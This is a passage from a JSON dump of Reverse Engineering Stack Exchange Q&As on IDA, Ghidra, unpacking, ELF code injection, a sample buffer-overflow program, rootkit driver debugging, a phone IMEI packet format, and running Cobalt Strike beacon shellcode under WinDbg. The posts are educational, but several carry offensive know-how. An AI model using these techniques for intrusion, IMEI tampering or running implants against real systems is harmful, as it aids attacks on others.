_GLOBAL__sub_I_pty.cpp+1\n.init_array:00085DF4                 DCD _GLOBAL__sub_I_strerror.cpp+1\n.init_array:00085DF8                 DCD _GLOBAL__sub_I_strsignal.cpp+1\n.init_array:00085DFC                 DCD _GLOBAL__sub_I_stubs.cpp+1\n.init_array:00085E00                 DCD __res_key_init+1\n.init_array:00085E04                 DCD jemalloc_constructor+1\n.init_array:00085E04 ; .init_array   ends\n.init_array:00085E04\n</code></pre>\n<pre><code>.text:00074CC0 sub_74CC0                               ; DATA XREF: .init_array:00085DE4\u2193o\n.text:00074CC0                 STMFD           SP!, {R11,LR}\n.text:00074CC4                 MOV             R11, SP\n.text:00074CC8                 MOV             R2, #0x14608\n.text:00074CD0                 MOV             R0, #(aSLibomegaSo+4) ; file\n.text:00074CD8                 MOV             R1, #2  ; mode\n.text:00074CDC                 BLX             R2      ; dlopen;&lt;---When the code runs here , got signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x14608\n.text:00074CE0                 MOV             R0, #0x16E45\n.text:00074CE8                 BLX             R0      ; __libc_preinit(void)\n.text:00074CEC                 LDMFD           SP!, {R11,PC}\n.text:00074CEC ; End of function sub_74CC0\n.text:00074CEC\n</code></pre>\n<pre><code>.plt:00014608\n.plt:00014608 ; =============== S U B R O U T I N E =======================================\n.plt:00014608\n.plt:00014608 ; Attributes: thunk\n.plt:00014608\n.plt:00014608 ; void *dlopen(const char *file, int mode)\n.plt:00014608 dlopen                                  ; CODE XREF: __libc_init_malloc(libc_globals *)+84\u2193p\n.plt:00014608                                         ; netdClientInitImpl(void)+8\u2193p ...\n.plt:00014608                 ADRL            R12, 0x87610\n.plt:00014610                 LDR             PC, [R12,#(dlopen_ptr - 0x87610)]! ; __imp_dlopen\n.plt:00014610 ; End of function dlopen\n.plt:00014610\n</code></pre>\n<p>I've looked up a lot of relevant posts, but I still don't have a clue.</p>\n<p>A week, I still have not found the specific reason, I sincerely hope someone can help me</p>\n",
        "Title": "Injecting code into an ELF binary , got Segmentation fault(SIGSEGV)",
        "Tags": "|ida|arm|elf|shellcode|dll-injection|",
        "Answer": "<p>Is your binary relocated on load (ASLR)? In that case 14608 points to some random memory (probably unallocated). You need to use a position-independent instruction to load the address of the <code>dlopen</code> stub (e.g. <code>ADRL</code>).</p>\n"
    },
    {
        "Id": "26662",
        "CreationDate": "2020-12-29T20:40:13.053",
        "Body": "<p>I'm working on a static code injector for ELF files. I need to &quot;steal&quot; some bytes in order to write jump to my code on their place and then execute stolen instructions somewhere in the payload. However I don't know how to automate it. I will need to steal at least 5 bytes for my jump instruction, but obviously not always 5 bytes equal to the whole number of instructions, so I might have to <code>nop</code> several bytes.</p>\n<p>What are the ways to distinguish instructions, given bytes in ELF binary( C/C++ preferably ) ?</p>\n",
        "Title": "How to split bytes into instructions in binary ELF file for x86",
        "Tags": "|x86|c++|linux|elf|injection|",
        "Answer": "<p>The x86/x64 instruction set is variable length and there are no obvious instruction boundaries.  You can make use of a <em>length disassembler</em> to figure out how long each instruction is. There are a bunch of them available, here\u2019s a few I found by a quick search:</p>\n<p><a href=\"https://github.com/greenbender/lend\" rel=\"nofollow noreferrer\">https://github.com/greenbender/lend</a></p>\n<p><a href=\"https://github.com/Nomade040/length-disassembler\" rel=\"nofollow noreferrer\">https://github.com/Nomade040/length-disassembler</a></p>\n<p><a href=\"https://github.com/GiveMeZeny/fde64\" rel=\"nofollow noreferrer\">https://github.com/GiveMeZeny/fde64</a></p>\n"
    },
    {
        "Id": "26667",
        "CreationDate": "2020-12-29T22:35:05.067",
        "Body": "<p>I've been trying to unpack this dll and I'm pretty sure that <code>0x7c3ea902</code> or <code>0x1007A9D2</code> (ASLR disabled) or simply <code>0x7A9D2</code> is OEP.</p>\n<p><a href=\"https://i.stack.imgur.com/cwpHn.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/cwpHn.png\" alt=\"enter image description here\" /></a></p>\n<p>But after dumping with OllyDumpEx and trying to fix IAT with <strong>ImpREC</strong> it just doesn't work.</p>\n<p><a href=\"https://i.stack.imgur.com/ffrbx.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ffrbx.png\" alt=\"enter image description here\" /></a></p>\n<p>Here are the results from <strong>ImpREC</strong></p>\n<p><a href=\"https://i.stack.imgur.com/WdxCO.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/WdxCO.png\" alt=\"enter image description here\" /></a></p>\n<p>My question is, why are there invalid imports detected when the OEP is most likely correct?</p>\n",
        "Title": "Rebuild IAT after manually unpacking DLL",
        "Tags": "|dll|unpacking|dumping|import-reconstruction|",
        "Answer": "<p>I solved this by manually fixing each missing import API.</p>\n<p>First I did a text dump of the <em>unpacked</em> dll using <a href=\"https://www.portablefreeware.com/index.php?id=2506\" rel=\"nofollow noreferrer\">BinText</a> where I found a list of imported API's.</p>\n<p><a href=\"https://i.stack.imgur.com/HFa3V.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/HFa3V.png\" alt=\"enter image description here\" /></a></p>\n<p>I then compared it to the list of API detected by <strong>ImpRec</strong> and I noticed that the calls are in the same order on the text dump.</p>\n<p><a href=\"https://i.stack.imgur.com/LaiR4.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/LaiR4.png\" alt=\"enter image description here\" /></a></p>\n<p>So I just double clicked the line of the invalid import on <strong>ImpRec</strong> and manually input the correct API (based on the order shown on the text dump) as seen here:</p>\n<p><a href=\"https://i.stack.imgur.com/gzBGm.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/gzBGm.png\" alt=\"enter image description here\" /></a></p>\n<p>I repeated this for every invalid API and fixed the dump and this time it all worked.</p>\n<p>To sum it all up from the original question. The OEP was correct. The detected API's were correct. It just needed a little intervention to fix the invalid imports detected.</p>\n<p>Thank you!</p>\n"
    },
    {
        "Id": "26669",
        "CreationDate": "2020-12-30T09:19:41.577",
        "Body": "<p>IDA Pro 7.2 has a new functionality named <code>force new variable</code>.\nSee:\n<a href=\"https://reverseengineering.stackexchange.com/questions/18365/how-do-i-resolve-ida-pro-hexrays-aliased-local-variables\">Here</a> and <a href=\"https://www.hex-rays.com/products/decompiler/manual/cmd_force_lvar.shtml\" rel=\"nofollow noreferrer\">Here</a>.</p>\n<p>But it is only efficient for stack-based variables. How can I force a new variable for a register-based variables?</p>\n",
        "Title": "IDA Pro \"force new variable\" for register variable?",
        "Tags": "|ida|",
        "Answer": "<p>You can't, not as a standard command that's currently available through the user interface, anyway. Force new variable only works for stack locations. Perhaps a future version of Hex-Rays will allow the user to force new register variables.</p>\n"
    },
    {
        "Id": "26672",
        "CreationDate": "2020-12-30T16:57:57.493",
        "Body": "<p>I'm trying to learn Buffer Overflow\nHere is the vulnerable code</p>\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;string.h&gt;\n\nint main(int argc, char const *argv[])\n{\n    char buffer[64];\n\n    if(argc &lt; 2){\n        printf(&quot;The number of argument is incorrect\\n&quot;);\n        return 1;\n    }\n    strcpy(buffer, argv[0]);\n    return 0;\n}\n</code></pre>\n<p>The problem is that when I try to run the code in Immunity Debugger, I don't see AAAAAAA in the source in the stack pane I see the path to my test.exe. Later, I don't see 0x41s ....obviously</p>\n<p>What is happening ?</p>\n<p><a href=\"https://i.stack.imgur.com/LVlMD.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/LVlMD.png\" alt=\"enter image description here\" /></a></p>\n",
        "Title": "Immunity Debugger showing path instead of argv[1]",
        "Tags": "|immunity-debugger|",
        "Answer": "<p>To get the program\u2019s argument, you need to check <code>argv[1]</code> instead of <code>argv[0]</code>. From <a href=\"https://en.cppreference.com/w/cpp/language/main_function\" rel=\"nofollow noreferrer\">cppreference</a>:</p>\n<blockquote>\n<p>The parameters of the two-parameter form of the main function allow\narbitrary multibyte character strings to be passed from the execution\nenvironment (these are typically known as command line arguments), the\npointers <code>argv[1].. argv[argc-1]</code> point at the first characters in each\nof these strings. <code>argv[0]</code> is the pointer to the initial character of a\nnull-terminated multibyte string that represents the name used to\ninvoke the program itself (or an empty string &quot;&quot; if this is not\nsupported by the execution environment).</p>\n</blockquote>\n"
    },
    {
        "Id": "26682",
        "CreationDate": "2021-01-02T02:36:39.907",
        "Body": "<p>During debugging a binary in IDA Pro, I've noticed types of the form</p>\n<pre><code>30  uint16_n                            00000002                struct {uint16_t inner;}\n42  uint32_n                            00000004                struct {uint32_t inner;}\n</code></pre>\n<p>where the fields in each row from left to right correspond to <code>Ordinal</code>, <code>name</code>, <code>size</code>, <code>description</code> in the <strong>Local Types</strong> subview of IDA Pro. While the sizes seem to match the <code>uintX_t</code> counterparts, I would appreciate it if someone can explain the reasoning for introducing <code>uintX_n</code> types and the difference they have with the well known <code>uintX_t</code> types in which <code>X=8,16,32</code>.</p>\n",
        "Title": "What is the difference between uintX_n (used in IDA Pro) and unitX_t types?",
        "Tags": "|ida|struct|type-reconstruction|",
        "Answer": "<p>It seems these types are custom to the program you\u2019re analyzing and probably come from the debug information (e.g. DWARF).</p>\n<p>The standard types from <code>stdint.h</code>are usually typedefs and not structs.</p>\n"
    },
    {
        "Id": "26688",
        "CreationDate": "2021-01-03T00:53:06.007",
        "Body": "<p>I am very unsure if this is the right place to as or if I need to ask this at another forum, but here it goes.</p>\n<p>I am trying to reverse engineer a .NET program with the use of dnspy. I installed dnspy with <code>choco install dnspy</code>. I was then able to start dnspy in by calling it in pwsh, but when debugging the program I get the following error <code>Could not start the debugger. Use 32-bit dnSpy to debug 32-bit applications</code>. I then <a href=\"https://buildfunthings.com/posts/reversing-tear-or-dear/\" rel=\"nofollow noreferrer\">found this link</a> that said to restart the debugger with <code>dnspy-x86</code>. But still the debugger is 64 bit. I also tried to run dnspy by running <code>dnspy -x86</code>.</p>\n<p>I see <a href=\"https://chocolatey.org/packages/dnspy#virus\" rel=\"nofollow noreferrer\">here </a> in chocolatey.org that the 32 bit is checked in virustotal. But I am unsure if the 32-bit version is included. I also cant find any information on flags or parameters dnspy is able to take.</p>\n<p>My question is if dnspy 32 bit is installed by using choco or if one has to install the 32-bit manually. And if dnspy 32 bit is installed with choco, how do I start it in 32 bit.</p>\n",
        "Title": "dnSpy: how to start 32 bit version",
        "Tags": "|.net|dnspy|",
        "Answer": "<p>By default <a href=\"https://github.com/chocolatey/choco\" rel=\"nofollow noreferrer\">choco</a> doesn't want to install 32bit if you are on 64bit system. But, with a little bit of effort, I found that to install 32bit you will need to add either add: <strong>--x86</strong> or <strong>--forcex86</strong> to force x86 (32bit) installation on 64 bit systems.</p>\n<p>To download dnspy 32 bit you would run: <code>choco install dnspy --x86</code></p>\n<p>Alternatively, you can go to <a href=\"https://github.com/dnSpy/dnSpy/releases\" rel=\"nofollow noreferrer\">dnSpy</a> github and download it from there.</p>\n<p><strong>For next time please refer to <a href=\"https://docs.chocolatey.org/en-us/choco/commands/install\" rel=\"nofollow noreferrer\">choco install</a> docs and read the entire <a href=\"https://reverseengineering.stackexchange.com/help/asking\">help section</a></strong></p>\n<p>I hope you learn something new today \u263a</p>\n"
    },
    {
        "Id": "26700",
        "CreationDate": "2021-01-04T12:24:51.753",
        "Body": "<p>The only method i know to break on a <code>DriverEntry</code> of a rootkit driver when its loaded is to disassmble <code>nt!IopLoadDriver</code> and find an indirect call in it and break on it. Setting a break point on <code>rootkitDriverName!DriverEntry</code> doesn't work either for some reason.</p>\n<p>Is there any easier way to break on the rootkit driver entry? Why does <code>rootkitDriverName!DriverEntry</code> not work?</p>\n",
        "Title": "Is there an easier way to break on a rootkit driver load, other than disassembling IopLoadDriver?",
        "Tags": "|malware|windbg|kernel|",
        "Answer": "<p>Try enabling break on module load:</p>\n<pre><code>sxe ld rootkitDriverName\n</code></pre>\n<p>See also <a href=\"https://reverseengineering.stackexchange.com/a/2638/60\">https://reverseengineering.stackexchange.com/a/2638/60</a></p>\n"
    },
    {
        "Id": "26704",
        "CreationDate": "2021-01-04T23:09:53.127",
        "Body": "<p>I understand that <a href=\"https://github.com/nihilus/hexrays_tools/blob/master/code/defs.h\" rel=\"nofollow noreferrer\">LOBYTE</a> is an IDA macro for retrieving the lower byte of a variable. My question is what is the difference between the result of <code>x=x-1</code> and <code>LOBYTE(x)=x-1</code> when <code>x</code> is smaller than or equal to <code>0xff</code>? I should add that I'm implicitly assuming that <code>x&gt;0</code>. Thank you!</p>\n",
        "Title": "Assuming x is a number smaller than 0xff what happens to x after the assignment LOBYTE(x)=x-1?",
        "Tags": "|ida|assembly|c|",
        "Answer": "<pre><code>Quote From Link     \n#define LOBYTE(x)   (*((_BYTE*)&amp;(x))) \n</code></pre>\n<p>is that a hypothetical query x is treated as address<br />\nso x-1 will be a 32 bit type on a x86 machine so theoretically<br />\nyou cannot assign a 32 bit type to an 8 bit type<br />\nLOBYTE(x) will be a byte and not an address so again\ntheoretically you cannot assign a byte to a byte</p>\n<p>LOBYTE(x) is an <strong>AND</strong> operation that extracts the unsigned byte from a specific address</p>\n<pre><code>x as address    contents         LOBYTE(x)     (byte *)&amp;x = LOBYTE(x)-1\n0x00400000      0xffffffff       0x000000ff    byte[0x004000000] = 0x000000ff -1 =0x000000fe\n</code></pre>\n<p>so if you look as a DWORD <strong>0x400000 will now contain 0xfffffffe</strong></p>\n<p>demo using a python script</p>\n<pre><code>:\\&gt;cat LOBYTE.py\nimport ctypes\n\ndef LOBYTE(arg):\n    return arg.value &amp; 0x000000ff\n\nx = ctypes.c_ulong(0xffffffff)\nprint( &quot;x as address&quot; , ctypes.byref(x))\nprint( &quot;x holds&quot;  , hex(x.value))\nprint(&quot;result of LOBYTE(x)&quot;, LOBYTE(x))\nx.value = ( (x.value &amp; 0xffffff00 ) | LOBYTE(x)- 1 )\nprint( &quot;x holds&quot;  , hex(x.value))\n\n\n:\\&gt;python LOBYTE.py\nx as address &lt;cparam 'P' (017CA098)&gt;\nx holds 0xffffffff\nresult of LOBYTE(x) 255\nx holds 0xfffffffe\n</code></pre>\n"
    },
    {
        "Id": "26708",
        "CreationDate": "2021-01-05T06:34:19.827",
        "Body": "<p>I have seen many drivers with a section named PAGE, but couldn't find good enough information on it, what is the role of this section?</p>\n",
        "Title": "What is the role of PAGE section in windows Drivers?",
        "Tags": "|windows|pe|kernel|",
        "Answer": "<p>Simple, it's a section that will supposedly be mapped as <a href=\"https://docs.microsoft.com/en-us/windows/win32/memory/memory-pools\" rel=\"nofollow noreferrer\">paged memory</a>. This can contain code or data and is governed by <a href=\"https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/mm-bad-pointer#paged_code\" rel=\"nofollow noreferrer\">the PAGED_CODE macro</a>, among others, at source code level.</p>\n<p>That is, whatever gets stored in that section cannot be accessed at arbitrary IRQLs. Quote:</p>\n<blockquote>\n<p>If the IRQL &gt; APC_LEVEL, the PAGED_CODE macro causes the system to ASSERT.</p>\n</blockquote>\n<p>Also see <a href=\"https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/overview-of-windows-memory-space\" rel=\"nofollow noreferrer\">this</a> for an entry point into the overall topic. But I reckon given the specific nature of your question you are aware of paged and nonpaged pool and so on.</p>\n"
    },
    {
        "Id": "26731",
        "CreationDate": "2021-01-08T16:27:30.937",
        "Body": "<p>I am currently analyzing an old Win32 game from 1999 that was probably compiled with Visual C++ 6 and was programmed in C.</p>\n<p>I noticed that there are almost no usercalls (i.e. calls that use registers to pass arguments) except for calls in the statically linked CRT library. Is this a reasonable assumption for a game of this age?</p>\n<p>To identify registers used as function paramters I used an algorithm similar to the one described in <a href=\"https://www.hex-rays.com/blog/automated-binary-analysis-woes/\" rel=\"nofollow noreferrer\">this IDA blog post</a>. The algorithm identifies PUSH/POP pairs and searches for registers usages before any assignment except in the PUSH/POP pairs.</p>\n",
        "Title": "usercalls in old Win32 game",
        "Tags": "|binary-analysis|register|callstack|arguments|",
        "Answer": "<p>Yes, this sounds perfectly normal. If the program did not use C++, you won't see thiscall with usage of <code>ecx</code> but just standard stdcall or cdecl which use only stack for passing arguments.</p>\n"
    },
    {
        "Id": "26768",
        "CreationDate": "2021-01-14T07:40:35.330",
        "Body": "<p>I am currently reversing a firmware for the TI CC3200 (ARM Cortex M4) via ghidra.</p>\n<p>For other ARM chips I have learned that I may use a SVD-Loader to load all information about the registers and memory into ghidra. As it seems there are no SVD files available to import the information automatically.\nAlso adding the ROM functions provided by the driverlib would significantly help.</p>\n<p>Are there different ways to load that information into ghidra (without doing it manually using the tech reference). What kind of files I could extract that information from?</p>\n",
        "Title": "CC3200 Firmware - gaining information about - Registers / Memory (Ghidra) - SVD / CMSIS",
        "Tags": "|ghidra|",
        "Answer": "<p>Check the header files from the sample code/SDK provided by the manufacturer. Often they have regular structure and can be parsed with a bit of scripting.</p>\n"
    },
    {
        "Id": "26769",
        "CreationDate": "2021-01-14T08:20:39.197",
        "Body": "<p>I've been trying to debug a piece of simple shellcode with <code>Windbg</code>. To go over the steps I took, I allocated a buffer for the shellcode with <code>.foreach /pS 5  ( register { .dvalloc 400 } ) { r @$t0 = register }</code> and saved the address in the pseudo register <code>$t0</code>. Later I copied the shellcode with <code>eb @$t0 FC 48 83 E4...[REDACTED]</code>. Then changed the <code>rip</code> value to point to the start address of the shellcode buffer by doing <code>r @$ip=@$t0</code> and then simply resumed the program execution with <code>g</code>.</p>\n<p>The problem is the shellcode gets hung up on the <code>wininet!HttpSendRequestA</code> API call everytime.</p>\n<p>The stack trace after manually breaking from the execution:</p>\n<pre><code>00 000000e0f0efea28 00007ffc24811e93 ntdll!NtWaitForSingleObject+0x14\n01 000000e0f0efea30 00007ffc11ba4f64 KERNELBASE!WaitForSingleObjectEx+0x93\n02 000000e0f0efead0 00007ffc11b9fba7 wininet!CPendingSyncCall::HandlePendingSync_AppHangIsAppBugForCallingWinInetSyncOnUIThread+0xe0\n03 000000e0f0efeb00 00007ffc11b47af6 wininet!INTERNET_HANDLE_OBJECT::HandlePendingSync+0x33\n04 000000e0f0efeb30 00007ffc11b023a5 wininet!HttpWrapSendRequest+0x9a256\n05 000000e0f0efecd0 00007ffc11b02318 wininet!InternalHttpSendRequestA+0x5d\n06 000000e0f0efed40 000002a7d873018c wininet!HttpSendRequestA+0x58\n07 000000e0f0efede0 000002a7d87301f9 0x000002a7d873018c\n08 000000e0f0efede8 000002a7d873000a 0x000002a7d87301f9\n09 000000e0f0efedf0 0000000000cc000c 0x000002a7d873000a\n</code></pre>\n<p><strong>NOTE</strong>: The weird part is the shellcode actually works as it supposed to whenever I debug it in the windbg plugin in <code>IDA PRO 7.5</code> (I do everything exactly the same in the plugin console as I did in the windbg binary console).</p>\n<p>As for the shellcode it's a simple  off-the-shelf cobaltstrike http beacon (The same error occurs with any type of <code>reverse shell</code> shellcodes).</p>\n<p><a href=\"https://i.stack.imgur.com/equ6Q.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/equ6Q.png\" alt=\"enter image description here\" /></a></p>\n<p>It traverses <code>InMemoryOrderModuleList</code> structure from <code>PEB</code>, resolves the api names from hashes and simply executes them in order.</p>\n<p>I've never debugged a cobaltstrike beacon directly in windbg before.</p>\n<p><strong>NOTE</strong>: I don't get any hangs or errors when I try to debug a simple x64 calculator shellcode the same way</p>\n",
        "Title": "WinDBG Hung on Shellcode Execution",
        "Tags": "|ida|debugging|windbg|shellcode|metasploit|",
        "Answer": "<p>can you clarify if the error you are getting is related to message that says this may be caused by another thread holding the LoaderLock ?</p>\n<p>if that is the  case then it means you allocate memory etc just after windbg/cdb broke on System  Breakpoint</p>\n<p>if you are doing .dvalloc when you are on System Breakpoint then HttpRequestA might cause the block</p>\n<p>go to the entrypoint of your dummy using say  g @$exentry and then execute the shellcode</p>\n<p>use dp @rsp to find the return address and set a breakpoint on the return\nwith bp poi(@rsp) before you hit g on HttpSendRequestA</p>\n<p>it should break properly and not hang</p>\n<pre><code>0:000&gt; ? poi(@rsp)\nEvaluate expression: 140696425381209 = 00007ff6`7074bd59\n0:000&gt; bp poi(@rsp)\n0:000&gt; bl\n 0 e 00007ff6`7074bcb4     0001 (0001)  0:**** cdb+0xbcb4\n 1 e 00007ff6`7074bd59     0001 (0001)  0:**** cdb+0xbd59\n0:000&gt; r rcx,rdx,r8,r9\nrcx=0000000000cc000c rdx=00007ff67074bdc6 r8=ffffffffffffffff r9=0000000000000000\n0:000&gt; da @rdx\n00007ff6`7074bdc6  &quot;User-Agent: Mozilla/4.0 (compati&quot;\n00007ff6`7074bde6  &quot;ble; MSIE 8.0; Windows NT 5.1; T&quot;\n00007ff6`7074be06  &quot;rident/4.0; GTB7.4; InfoPath.2).&quot;\n00007ff6`7074be26  &quot;.&quot;\n0:000&gt; g\nModLoad: 00007ffa`96760000 00007ffa`96776000   C:\\Windows\\SYSTEM32\\dhcpcsvc6.DLL\nModLoad: 00007ffa`96c20000 00007ffa`96c3c000   C:\\Windows\\SYSTEM32\\dhcpcsvc.DLL\nModLoad: 00007ffa`939a0000 00007ffa`93b76000   C:\\Windows\\SYSTEM32\\urlmon.dll\nModLoad: 00007ffa`9c800000 00007ffa`9c80c000   C:\\Windows\\SYSTEM32\\CRYPTBASE.DLL\nBreakpoint 1 hit\ncdb+0xbd59:\n00007ff6`7074bd59 85c0            test    eax,eax\n0:000&gt; u .\ncdb+0xbd59:\n00007ff6`7074bd59 85c0            test    eax,eax\n00007ff6`7074bd5b 0f859d010000    jne     cdb+0xbefe (00007ff6`7074befe)\n00007ff6`7074bd61 48ffcf          dec     rdi\n00007ff6`7074bd64 0f848c010000    je      cdb+0xbef6 (00007ff6`7074bef6)\n00007ff6`7074bd6a ebd3            jmp     cdb+0xbd3f (00007ff6`7074bd3f)\n00007ff6`7074bd6c e9e4010000      jmp     cdb+0xbf55 (00007ff6`7074bf55)\n00007ff6`7074bd71 e8a2ffffff      call    cdb+0xbd18 (00007ff6`7074bd18)\n00007ff6`7074bd76 2f              ???\n0:000&gt;\n</code></pre>\n<p>btw no need for .dvalloc when you are in user code simply use .readmem</p>\n<p>0:000&gt; .readmem cobabyte.bin . l?377</p>\n<p>Reading 377 bytes.</p>\n<pre><code>0:000&gt; u .\ncdb+0xbbf0:\n00007ff6`7074bbf0 fc              cld\n00007ff6`7074bbf1 4883e4f0        and     rsp,0FFFFFFFFFFFFFFF0h\n00007ff6`7074bbf5 e8c8000000      call    cdb+0xbcc2 (00007ff6`7074bcc2)\n00007ff6`7074bbfa 4151            push    r9\n00007ff6`7074bbfc 4150            push    r8\n00007ff6`7074bbfe 52              push    rdx\n00007ff6`7074bbff 51              push    rcx\n00007ff6`7074bc00 56              push    rsi\n0:000&gt; u\n</code></pre>\n"
    },
    {
        "Id": "26770",
        "CreationDate": "2021-01-14T09:39:26.830",
        "Body": "<p>I have a pe dll binary with it's pdb file. I'd want to use this file's types in another database.</p>\n<p>I tried to export the types using &quot;Create C header file&quot; and &quot;Dump typeinfo to IDC file&quot;, but neither worked properly. Trying to import the generated C header file to the second database fails due to templates. The exported IDC file doesn't include all of the types present in the first database.</p>\n<p>Seems like IDA doesn't support importing types that use C++ features, like templates. I was wondering if there's any way to work around this. I wouldn't want to start manually renaming and importing the types since there's thousands of them.</p>\n",
        "Title": "Exporting C++ types from database to another",
        "Tags": "|ida|",
        "Answer": "<h2>Warning: hack!</h2>\n<ol>\n<li>with the first IDB open, copy the <code>idbname.til</code> to another place</li>\n<li>run <code>tilib -#- idbname.til</code></li>\n<li>copy it to IDA's <code>til/pc</code> (or matching processor) directory.</li>\n<li>in the second IDB, add the type library from the Type Libraries list.</li>\n<li>types are now available even though they're not shown in Local Types. You can, for example, &quot;Add standard structure&quot;, or use them in the decompiler.</li>\n</ol>\n<p>This is not officially supported so you may run into all kinds of issues (e.g conflicts between type libraries).</p>\n"
    },
    {
        "Id": "26780",
        "CreationDate": "2021-01-15T04:29:23.393",
        "Body": "<p>Im new to reverse engineering, and ive trying Ghidra, IDA (Freeware) and Radare2 with a simple CrackMe, the problem is, both Ghidra and IDA couldnt detect a string while Radare2 (Using Cutter GUI) could figure out the name.\nI used default analysis for all 3.\nIs there something im missing ? because even the 'strings' command can actually find the string im looking for.</p>\n<p>Ghidra:</p>\n<p><a href=\"https://i.stack.imgur.com/d8kzK.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/d8kzK.png\" alt=\"enter image description here\" /></a></p>\n<p>IDA:</p>\n<p><a href=\"https://i.stack.imgur.com/uIt0e.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/uIt0e.png\" alt=\"enter image description here\" /></a></p>\n<p>Radare2 (Cutter):</p>\n<p><a href=\"https://i.stack.imgur.com/jRdfE.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/jRdfE.png\" alt=\"enter image description here\" /></a></p>\n",
        "Title": "Ghidra + IDA cant detect a string but Radare2 can",
        "Tags": "|ida|radare2|ghidra|",
        "Answer": "<p>I don't know the exact length of string. But, few things to note here are as follows:</p>\n<ol>\n<li>Ghidra and IDA has a minimum bound on size of string to recover correct type (ghidra has a limit - or lower bound of 5).</li>\n<li>This is necessary to avoid any false positives or conflicting types. And recover correct types without marking a pointer as a string. Check out this figure for your reference. Generated using Ghidra automated analysis.</li>\n</ol>\n<p><a href=\"https://i.stack.imgur.com/alq0l.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/alq0l.png\" alt=\"enter image description here\" /></a></p>\n<p>In Ghidra you can change this limit (minimum is 4) in analysis section.</p>\n<p><a href=\"https://i.stack.imgur.com/B2wP0.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/B2wP0.png\" alt=\"enter image description here\" /></a></p>\n<ol start=\"3\">\n<li><code>Strings</code> command outputs printable characters with minimum size 4 (plus it doesn't use sophisticated type recovery algorithms like ghidra or Ida). I believe that you have a string with length less than 5 and my guess is that it must be 4 to be precise.</li>\n<li>strings are usually defined in <code>.rodata</code> section. If you doubleclick on DAT_xxxx, it will take you to the location where that string is defined. There, you will see consecutive bytes bunched together by Ghidra or IDA (as shown in image-1). But, the type is not resolved as a &quot;string&quot;.</li>\n<li>In Ghidra a quick way to fix this by changing data type of DAT_xxxx label:\nRight click -&gt; Data -&gt; Choose Data Type -&gt; choose string</li>\n</ol>\n<p><a href=\"https://i.stack.imgur.com/C6GQx.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/C6GQx.png\" alt=\"enter image description here\" /></a></p>\n<p>Rereferences:</p>\n<ul>\n<li>See my question here - <a href=\"https://github.com/NationalSecurityAgency/ghidra/issues/2274\" rel=\"noreferrer\">https://github.com/NationalSecurityAgency/ghidra/issues/2274</a></li>\n<li>strings manual - <a href=\"https://linux.die.net/man/1/strings\" rel=\"noreferrer\">https://linux.die.net/man/1/strings</a></li>\n<li>ida pro - <a href=\"https://reverseengineering.stackexchange.com/questions/2226/how-can-i-make-ida-see-a-string-reference\">How can I make IDA see a string reference?</a></li>\n</ul>\n"
    },
    {
        "Id": "26782",
        "CreationDate": "2021-01-15T12:36:05.847",
        "Body": "<p>We are reversing the method of creating a byte array packet.</p>\n<p>These values are obtained by serialport monitor from mediatek metamode usb port.The values of both packets are changed by changing the imei.</p>\n<p>example imei : 534534324234239</p>\n<pre><code> 55 00 38 D0 40 01 34 00 03 00 00 00 00 00 00 00\n C8 00 00 00 01 00 00 00 0E 00 12 00 01 00 0E 00\n 22 00 18 00 10 EF 01 00 01 00 0A 00 01 00 00 00\n 00 00 35 54 43 23 24 43 32 F9 00 00 72\n</code></pre>\n<p>Packet2 is :</p>\n<pre><code>55 00 08 D0 00 FF 04 00 00 00 C2 75 C1\n</code></pre>\n<p>We have trouble making packet2, we know last &quot;C1&quot; hex is XOR and the rest are fixed values and do not change.We just do not know by what calculations the value of &quot;C2&quot; in packet 2 was obtained.</p>\n",
        "Title": "how to calculate a byte value",
        "Tags": "|hex|crc|packet|unknown-data|checksum|",
        "Answer": "<p>solution ,first need to reverse imei array (without F in packet1) and need Addition byte by byte and output need to Addition with 31, thanks</p>\n"
    },
    {
        "Id": "26784",
        "CreationDate": "2021-01-15T18:46:20.440",
        "Body": "<p>I'm trying to reverse engineer an old DOS game. At the moment I'm stuck at a function that implements some functionality of VGA running in mode X. My issue is that any of the available sample codes on how to use mode X are often very similar to the one of interest, but never identical. That's why I'm having trouble putting all the pieces together and understanding the context of the function.\nReading about all the different registers/ports gave me a basic understanding, but still I can not figure out the actual intention of the function as a whole. Maybe someone with more experience on that topic could help me figure it out, even if it's just some hints on where to get the right pieces of information.</p>\n<p>Thanks a lot in advance! Here is the function in question:</p>\n<pre><code>void __cdecl mode12_init_maybe(int width, int height)\n{\n  unsigned __int8 v2; // al\n  char *v3; // esi\n  unsigned __int16 v4; // ax\n  signed int v5; // ecx\n  unsigned __int8 v6; // al\n  unsigned __int8 inbyteData; // al\n  unsigned __int8 v8; // al\n\n  if ( width == 320 )\n  {\n    if ( height == 200 )                      \n    {\n      __outbyte(0x3C4u, 4u);                    // set memory mode\n      inbyteData = __inbyte(0x3C5u);\n      __outbyte(0x3C5u, inbyteData &amp; 0xF7);\n      __outword(0x3C4u, 0xF02u);                // set map mask to all 4 planes\n      memset((void *)0xA0000, 0, 0xFFFCu);\n      __outbyte(0x3D4u, 0x11u);                 // Vertical Retrace End\n      v8 = __inbyte(0x3D5u);\n      __outbyte(0x3D5u, v8 &amp; 0x7F);\n      __outword(0x3D4u, 0xC317u);               // turn on byte mode\n      __outword(0x3D4u, 0x14u);                 // Underline Location; turn off long mode\n    }\n  }\n  else if ( width == 360 &amp;&amp; height == 240 )\n  {\n    __outbyte(0x3D4u, 0x11u);\n    v2 = __inbyte(0x3D5u);\n    __outbyte(0x3D5u, v2 